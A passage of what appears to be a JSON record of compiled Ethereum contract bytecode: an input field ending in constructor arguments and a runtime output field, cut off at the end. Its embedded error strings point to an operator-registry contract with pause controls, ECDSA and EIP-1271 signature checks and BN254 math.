600160a01b0383811660048301526000917f0000000000000000000000000000000000000000000000000000000000000000909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef91906154ab565b90506000819003610ee4577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d52939291906154c4565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d291906154ab565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152df565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061517f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614769565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614769565b021790555050604051639926ee7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169150639926ee7d906130fe908d908990600401615534565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633fb27952906131b7908d908c908c906004016155a8565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692506325504777915061323b908d908d908d908d906004016155cd565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061565c565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169062bff04d906132df908c908c908c906004016156c3565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156dd565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615771565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c57600161352982846153bf565b61353391906153bf565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff168154811061356657613566615123565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b61360781600161578e565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063ff694a7790613679908490889088906004016157a7565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a46001846153bf565b90921691806138b281615827565b915050613893565b6000306001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614801561391357507f000000000000000000000000000000000000000000000000000000000000000046145b1561393d57507f000000000000000000000000000000000000000000000000000000000000000090565b50604080517f00000000000000000000000000000000000000000000000000000000000000006020808301919091527f0000000000000000000000000000000000000000000000000000000000000000828401527f000000000000000000000000000000000000000000000000000000000000000060608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b600080806000805160206158c383398151915260036000805160206158c3833981519152866000805160206158c3833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f526000805160206158c3833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b13615123565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b41615123565b0160200151600160f89190911c1b9150828211613bd65760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac6001846153bf565b81548110613cbc57613cbc615123565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615492565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615848565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615872565b6127d29190615894565b604081015160009061271090613f809061ffff1685615872565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614769565b036140f35750565b600181600481111561410757614107614769565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614769565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614769565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614769565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152df565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080fd5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b6000806001600160401b038411156145c3576145c3614519565b50601f8301601f19166020016145d881614579565b9150508281528383830111156145ed57600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461657600080fd5b81356001600160401b0381111561462c57600080fd5b8201601f8101841361463d57600080fd5b61464c848235602084016145a9565b949350505050565b6000806040838503121561466757600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469957600080fd5b6127d282614676565b815181526020808301519082015260408101610ee4565b60008083601f8401126146cb57600080fd5b5081356001600160401b038111156146e257600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561471057600080fd5b84356001600160401b0381111561472657600080fd5b614732878288016143ef565b90955093505060208501356001600160401b0381111561475157600080fd5b61475d878288016146b9565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479d57634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147bc9084018261477f565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147e757600080fd5b6147ef61452f565b905081356147fc8161448d565b815261480a602083016147c3565b602082015261481b604083016147c3565b604082015292915050565b6000806080838503121561483957600080fd5b61484283614676565b915061485184602085016147d5565b90509250929050565b60008060006040848603121561486f57600080fd5b833561487a816144d7565b925060208401356001600160401b0381111561489557600080fd5b6148a1868287016146b9565b9497909650939450505050565b60006001600160401b038211156148c7576148c7614519565b5060051b60200190565b6000604082840312156148e357600080fd5b6148eb614557565b90506148f682614676565b81526020820135614906816144d7565b602082015292915050565b600080600080600060a0868803121561492957600080fd5b8535614934816144d7565b94506020860135935060408601356001600160401b0381111561495657600080fd5b8601601f8101881361496757600080fd5b803561497a614975826148ae565b614579565b8082825260208201915060208360061b85010192508a83111561499c57600080fd5b6020840193505b828410156149c8576149b58b856148d1565b82526020820191506040840193506149a3565b979a9699509697606081013597506080013595945050505050565b600061010082840312156149f657600080fd5b50919050565b60008083601f840112614a0e57600080fd5b5081356001600160401b03811115614a2557600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a5257600080fd5b614a5a61452f565b905081356001600160401b03811115614a7257600080fd5b8201601f81018413614a8357600080fd5b614a92848235602084016145a9565b8252506020828101359082015260409182013591810191909152919050565b60008060008060008060008060006101a08a8c031215614ad057600080fd5b89356001600160401b03811115614ae657600080fd5b614af28c828d016146b9565b909a5098505060208a01356001600160401b03811115614b1157600080fd5b614b1d8c828d016146b9565b9098509650614b3190508b60408c016149e3565b94506101408a01356001600160401b03811115614b4d57600080fd5b614b598c828d016149fc565b9095509350506101608a01356001600160401b03811115614b7957600080fd5b614b858c828d01614a40565b9250506101808a01356001600160401b03811115614ba257600080fd5b614bae8c828d01614a40565b9150509295985092959850929598565b6000806000806000806101608789031215614bd857600080fd5b86356001600160401b03811115614bee57600080fd5b614bfa89828a016146b9565b90975095505060208701356001600160401b03811115614c1957600080fd5b614c2589828a016146b9565b9095509350614c39905088604089016149e3565b91506101408701356001600160401b03811115614c5557600080fd5b614c6189828a01614a40565b9150509295509295509295565b60008060408385031215614c8157600080fd5b8235614c8c8161448d565b915060208301356001600160401b03811115614ca757600080fd5b8301601f81018513614cb857600080fd5b8035614cc6614975826148ae565b8082825260208201915060208360051b850101925087831115614ce857600080fd5b6020840193505b82841015614d0a578335825260209384019390910190614cef565b809450505050509250929050565b602080825282518282018190526000918401906040840190835b81811015614d5657835163ffffffff16835260209384019390920191600101614d32565b509095945050505050565b60008060208385031215614d7457600080fd5b82356001600160401b03811115614d8a57600080fd5b614468858286016146b9565b6001600160601b0381168114610d1957600080fd5b600082601f830112614dbc57600080fd5b8135614dca614975826148ae565b8082825260208201915060208360061b860101925085831115614dec57600080fd5b602085015b83811015614e455760408188031215614e0957600080fd5b614e11614557565b8135614e1c816144d7565b81526020820135614e2c81614d96565b6020828101919091529084529290920191604001614df1565b5095945050505050565b600080600060a08486031215614e6457600080fd5b614e6e85856147d5565b92506060840135614e7e81614d96565b915060808401356001600160401b03811115614e9957600080fd5b614ea586828701614dab565b9150509250925092565b600082601f830112614ec057600080fd5b8135614ece614975826148ae565b80828252602082019150602060608402860101925085831115614ef057600080fd5b602085015b83811015614e4557614f0787826147d5565b8352602090920191606001614ef5565b600082601f830112614f2857600080fd5b8135614f36614975826148ae565b8082825260208201915060208360051b860101925085831115614f5857600080fd5b602085015b83811015614e45578035614f7081614d96565b835260209283019201614f5d565b600082601f830112614f8f57600080fd5b8135614f9d614975826148ae565b8082825260208201915060208360051b860101925085831115614fbf57600080fd5b602085015b83811015614e455780356001600160401b03811115614fe257600080fd5b614ff1886020838a0101614dab565b84525060209283019201614fc4565b600080600080600080600080610100898b03121561501d57600080fd5b615026896144ec565b975061503460208a016144ec565b965061504260408a016144ec565b955061505060608a016144ec565b94506080890135935060a08901356001600160401b0381111561507257600080fd5b61507e8b828c01614eaf565b93505060c08901356001600160401b0381111561509a57600080fd5b6150a68b828c01614f17565b92505060e08901356001600160401b038111156150c257600080fd5b6150ce8b828c01614f7e565b9150509295985092959890939650565b60208101610ee4828461477f565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561515f57602081850181015186830182015201615143565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615139565b6000602082840312156151a457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561520b57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261527a57600080fd5b8301803591506001600160401b0382111561529457600080fd5b6020019150600581901b36038213156140d057600080fd5b6000602082840312156152be57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee46152c9565b6000808585111561530257600080fd5b8386111561530f57600080fd5b5050820193919092039150565b600060c0820188835260018060a01b038816602084015286604084015260c0606084015280865180835260e08501915060208801925060005b8181101561538b578351805160ff1684526020908101516001600160a01b03168185015290930192604090920191600101615355565b50506080840195909552505060a00152949350505050565b6000604082840312156153b557600080fd5b6127d283836148d1565b81810381811115610ee457610ee46152c9565b6000600182016153e4576153e46152c9565b5060010190565b60018060a01b03841681528260208201526060604082015260006154126060830184615139565b95945050505050565b60006020828403121561542d57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261546957615469615444565b500690565b6001600160a01b038316815260406020820181905260009061464c90830184615139565b82815260406020820152600061464c6040830184615139565b6000602082840312156154bd57600080fd5b5051919050565b6001600160a01b038416815261016081016154ec602083018580358252602090810135910152565b615506606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e08401378251610120830152602083015161014083015261464c565b60018060a01b038316815260406020820152600082516060604084015261555e60a0840182615139565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b0384168152604060208201819052600090615412908301848661557f565b60018060a01b03851681528360208201526060604082015260006117ab60608301848661557f565b600082601f83011261560657600080fd5b8151615614614975826148ae565b8082825260208201915060208360051b86010192508583111561563657600080fd5b602085015b83811015614e4557805161564e81614d96565b83526020928301920161563b565b6000806040838503121561566f57600080fd5b82516001600160401b0381111561568557600080fd5b615691858286016155f5565b92505060208301516001600160401b038111156156ad57600080fd5b6156b9858286016155f5565b9150509250929050565b83815260406020820152600061541260408301848661557f565b6000602082840312156156ef57600080fd5b81516001600160401b0381111561570557600080fd5b8201601f8101841361571657600080fd5b8051615724614975826148ae565b8082825260208201915060208360051b85010192508683111561574657600080fd5b6020840193505b828410156117ab5783516157608161448d565b82526020938401939091019061574d565b60006020828403121561578357600080fd5b81516127d281614d96565b60ff8181168382160190811115610ee457610ee46152c9565b60006060820160ff861683526001600160601b03851660208401526060604084015280845180835260808501915060208601925060005b8181101561581a57835180516001600160a01b031684526020908101516001600160601b031681850152909301926040909201916001016157de565b5090979650505050505050565b600061ffff821661ffff810361583f5761583f6152c9565b60010192915050565b60006020828403121561585a57600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602908116908181146147bc576147bc6152c9565b60006001600160601b038316806158ad576158ad615444565b806001600160601b038416049150509291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a2646970667358221220419d7e27cb66d8a9027e44acca21720880735099fc2ee8e8aba6487d3c1e625164736f6c634300081c00330000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e800000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36","output":"0x608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614604565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614654565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614687565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e881565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a91906146a2565b61033e6105ed3660046146fa565b611068565b6106056106003660046144fc565b61143e565b60405161036a91906147a1565b61033e6114b2565b610494610628366004614687565b6001805460ff9092161b9081161490565b61033e610647366004614826565b61157e565b600154610360565b6103b17f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b6103b1610689366004614474565b6115d8565b6103b17f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b61033e6106c336600461485a565b611602565b61033e611757565b6103606106de366004614911565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614ab1565b6117d9565b6103b17f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614bbe565b611af2565b61036060a05481565b6107c66107c1366004614c6e565b611c57565b60405161036a9190614d18565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d61565b611d06565b609c54610360565b61033e610823366004614e4f565b611d6c565b61033e610836366004615000565b611d7f565b6108aa610849366004614687565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150de565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150ec565b60405180910390fd5b60005b82811015610a4857600084848381811061099057610990615123565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614769565b6002811115610a0157610a01614769565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a71615123565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614769565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061517f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615192565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b8152600401610968906151af565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151f9565b610da95760405162461bcd60e51b81526004016109689061521b565b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e96615123565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190615192565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150ec565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b8381101561143557600085858381811061113157611131615123565b919091013560f81c9150369050600089898581811061115257611152615123565b90506020028101906111649190615263565b6040516379a0849160e11b815260ff8616600482015291935091507f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f491906152ac565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da57600084848381811061125357611253615123565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614769565b60028111156112c4576112c4614769565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152df565b92611393939291906152f2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614769565b60028111156114a9576114a9614769565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151f9565b61153f5760405162461bcd60e51b81526004016109689061521b565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166